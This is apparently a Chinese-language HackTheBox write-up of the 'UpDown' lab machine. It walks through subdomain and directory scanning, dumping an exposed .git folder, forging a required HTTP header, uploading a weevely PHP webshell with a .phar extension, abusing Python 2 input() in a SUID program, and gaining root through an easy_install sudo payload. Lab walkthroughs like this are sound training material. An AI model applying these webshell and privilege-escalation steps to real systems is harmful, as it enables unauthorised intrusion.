Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
UpDown
https://www.hackthebox.com/achievement/machine/463126/493
首先對目標進行了 TCP 掃描,發現只有 80 端口開放,並通過瀏覽器訪問後獲得了一個域名 siteisup.htb。接著,對其子域名進行了進一步的掃描,發現了 dev 子域名。隨後,啟動了本地 HTTP 服務器,並嘗試使用 nc 工具抓取版本信息,但未能獲得有用的框架或版本號。因為沒有明顯的內容,進一步掃描子目錄後發現了 /dev 目錄,並成功下載了該目錄下的 .git 目錄,從中提取了 .htaccess 文件,該文件設置了訪問權限。通過添加請求頭 Special-Dev: only4dev,最終成功獲得了正常內容。分析源碼後發現上傳的文件會被存儲在 uploads 目錄中,並且存在對某些文件類型的過濾,從而可以利用不常見的 PHP 擴展進行上傳。為了延長上傳後的執行時間,通過在 PHP 木馬的尾部添加垃圾域名來達到超時效果,成功上傳了木馬並執行。接著,嘗試使用不同的文件擴展名進行上傳,最終以 phar 擴展成功執行了 phpinfo ()。然而,系統禁止了多種外部函數的執行,因此需要使用 p0wny-shell 或 weevely 來獲取反向 shell。由於 p0wny-shell 大小超過了上傳限制,選擇了 weevely,並通過 burp 代理進行請求頭的修改。經過配置後,成功上傳了木馬並獲得了 shell,隨後發現 /home/developer 目錄下有一個 SUID 程序 siteisup。運行該程序後,發現其背後的 Python 代碼存在漏洞,利用 Python 2 的 input () 函數特性,成功執行了惡意命令,獲得了更高的權限。最終,通過讀取 .ssh 目錄中的 id_rsa 文件,實現了 SSH 登錄,並利用 gtfobins 網站提供的 payload 獲得了 root 權限。
Recon
首先日常使用 TCP 掃描一下。
Nmap TCP Scan
1 | $ sudo nmap -Pn -sS -p- -sC -sV -vv -oA save --min-rate=1000 10.129.227.227 |
只有80端口,瀏覽器打開后出現:
上面有一個域名是 siteisup.htb
。
Sub-domain scan
所以可以掃一下子域名:
1 | $ ffuf -u "http://10.129.227.227" -H "Host: FUZZ.siteisup.htb" -w /Tools/Wordlists/N0kovoSubdomains/n0kovo_subdomains_small.txt -fs 1131 |
得到一個子域名是 dev,打開后出現:
Walk around on siteisup.htb
回到 siteisup.htb
,開啓一個本地的http服務器: python3 -m http.server 80
,然後輸入自己的ip看一下會發生什麽:
嘗試用nc抓取一下,看一下有沒有什麽版本信息:
1 | $ nc -lvnp 80 |
看不到有任何的框架和版本號,如果只是輸入 ip 會得到:
Directory scan and download source code with git-dumper
由於什麽也沒有,嘗試掃描一下子目錄:
1 | $ feroxbuster -u "http://10.129.227.227/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/quickhits.txt -d 1 |
看到有一個 /dev
的子目錄,再次掃描:
1 | $ feroxbuster -u "http://10.129.227.227/dev" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/quickhits.txt -d 1 |
發現這個目錄存在 .git/HEAD
,也就可以使用 git_dumper 來下載整個目錄:
1 | $ python3 git_dumper.py http://10.129.227.227/dev git |
這樣會保存到 git
這個目錄。
Edit http header to digging in dev.siteisup.htb
進去看一下有什麽東西:
有一個 .htaccess
文件,大概的解釋是這樣的:
SetEnvIfNoCase Special-Dev "only4dev" Required-Header:
- 這行代碼會檢查請求中是否存在名為
Special-Dev
的標頭,並且其值是否為only4dev
。如果條件滿足,則會設置一個環境變數Required-Header
。Order Deny,Allow:
- 這行代碼設置了訪問控制的順序,首先拒絕所有請求,然後再根據後面的規則允許某些請求。
Deny from All:
- 這行代碼拒絕所有來自任何來源的請求。
Allow from env=Required-Header:
- 這行代碼允許那些滿足
Required-Header
環境變數的請求。也就是說,只有當請求中包含Special-Dev: only4dev
標頭時,請求才會被允許。
所以在不加請求頭的情況下,會出現403:
如果加一行 Special-Dev: only4dev
,就會出現正常的内容:
既然是這樣,去firebox商店安裝 Header Editor,
點擊增加,把上面的 header 加進去,這樣瀏覽器就會在每一個請求都加入 Special-Dev: only4dev
的 http 頭:
保存之後並啓用,重新刷新就看到了這個界面:
觀察了一會,看起來是 git 下面的文件,所以分析一下源碼:
當上傳一個文件之後就會保存到 uploads
這個文件夾,如果使用瀏覽器打開後會出現:
但是默認的php服務器可以運行多種後綴名,這裏不一定是php,參考: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md
從上面的正則過濾中得到凡是有php的關鍵字都會被忽略掉,也就是說可以嘗試一下上面的 Less known PHP extensions
。
Try to upload php backdoor with less-known extensions
由於上面的源代碼中執行完成后會刪除原本的文件,所以就需要盡可能的讓他卡住,也就是盡可能的讓運行的時間邊長,
當輸入一些域名的時候,系統會讓DNS解析成IP,由於機器無法聯網,所以會等待直到超時。
默認的超時為5秒,可以使用 man resolv.conf
查看:
這意味著可以在 php 木馬的尾部加入一些垃圾域名,一個域名卡5秒來延長執行時間:
1 | $ cat mane.pht |
儅上傳上去了之後,點擊check,他就會一直卡住:
這樣就有充足的時間打開 http://dev.siteisup.htb/uploads/
,然後執行木馬:
從源代碼中可以看到 pht
後綴失敗了:
所以嘗試把 pht
改成 phar
試試看:
結果成功了的運行了 phpinfo()
:
不過仔細一看,他禁止掉了一堆 php 運行外部函數的命令:
比如常見的 system,exec,shell_exec,popen
都被禁止了。
目前市面上有幾種自動繞過 php 的方法,第一種是使用 p0wny-shell, 第二種是使用 weevely。
由於第一種的大小已經超過了上傳限制,所以需要準備一個上傳文件的木馬然後把p0wny-shell給上傳到目錄的機器上。
Upload weevely backdoor
如果使用 weevely 則小很多,但是weevely不支持修改請求頭訪問。
所以需要讓 weevely 連接到 burp ,讓burp自動修改 請求頭,這樣才可以正常的訪問木馬。
Burp auto change proxy header
在burp中,點開設置:
然後在右邊的 Replace
加一行: Special-Dev: only4dev
點擊測試后如果出現 Special-Dev: only4dev
那就成功了,然後點擊 OK
確保有啓用,然後使用 curl 試一下 :
1 | $ curl -x http://127.0.0.1:8080 http://dev.siteisup.htb/ |
如果沒有出現 403 Forbidden
就説明成功了:
Change proxychains config and add http proxy
由於 weevely 沒有參數可以指定使用哪些代理,可以藉助 proxychains,所以需要修改proxychains的配置文件:
1 | $ sudo vim /etc/proxychains4.conf |
把burp的代理加入到最後,然後把其他代理刪掉,這樣就配置完成了。
Making weevely backdoor
使用這兩行可以快速生成 php 木馬:
1 | $ weevely generate mane mane.php -obfuscator cleartext1_php |
然後在木馬的尾部加一點垃圾域名用來拉長運行時間:
上傳後得到:
然後複製該路徑,使用 weevely 鏈接:
1 | $ proxychains -q weevely http://dev.siteisup.htb/uploads/46b2b5b52cb62015f534fadd1480c7ad/mane.phar mane |
可以看到它成功的運行了shell,由於會定時清理 uploads
這個目錄,所以需要在這裏獲得一個 reverse shell。
shell as webshell
獲得了webshell之後,發現 /home/developer
有一個 suid 是 siteisup
運行後,隨便打一些東西:
1 | ./siteisup |
看到他正在運行 /home/developer/dev/siteisup_test.py
,看一下裏面有什麽:
1 | www-data@updown:/home/developer/dev$ cat siteisup_test.py |
一眼看下去確實沒有發現什麽問題,不過手動運行這個代碼之後,他是來自 python2 的報錯,因爲 python3 不會出現這種錯誤:
查了一下,總結如下:
在 Python 2 中,
input()
函数会将输入的内容作为 Python 表达式进行求值。这意味着如果你输入的内容不是一个有效的 Python 表达式,比如字符串(没有用引号包围),就会导致NameError
,因为 Python 会试图将其作为变量名来查找。例如,当你输入
mane
时,Python 试图寻找一个名为mane
的变量,但没有找到,因此抛出了NameError
。如果你想要输入一个字符串,应该使用
raw_input()
函数。这样输入的内容会被视为字符串,而不是表达式。例如:
1 url = raw_input("Enter URL here:")这样无论你输入什么,都会被正确处理为一个字符串。
所以可以去查一下如何運行惡意命令:
也就是說只要輸入這堆payload,就可以運行命令,所以讓運行 bash 就可以得到一個shell:
1 | $ ./siteisup |
由於當前是developer
,在 嘗試讀取 user.txt
的時候失敗了,使用 suid 的後果是 uid 可以登錄,但是 gid 不會改變:
不過可以讀取 .ssh
裏面的 id_rsa
,直接使用 id_rsa
換 SSH 登錄就可以了:
1 | developer@updown:/home/developer/.ssh$ ls |
Exploit easy_install with sudo
看一下它可以執行什麽命令:
1 | $ sudo -l |
首先去 gtfobin 查一下,發現:https://gtfobins.github.io/gtfobins/easy_install/
那就直接複製粘貼這段payload 就得到了 root:
1 | TF=$(mktemp -d) |
Hashes
1 | root@updown:~# cat /etc/shadow |
Thanks
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY
這個模塊后可以解鎖更多的功能!
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)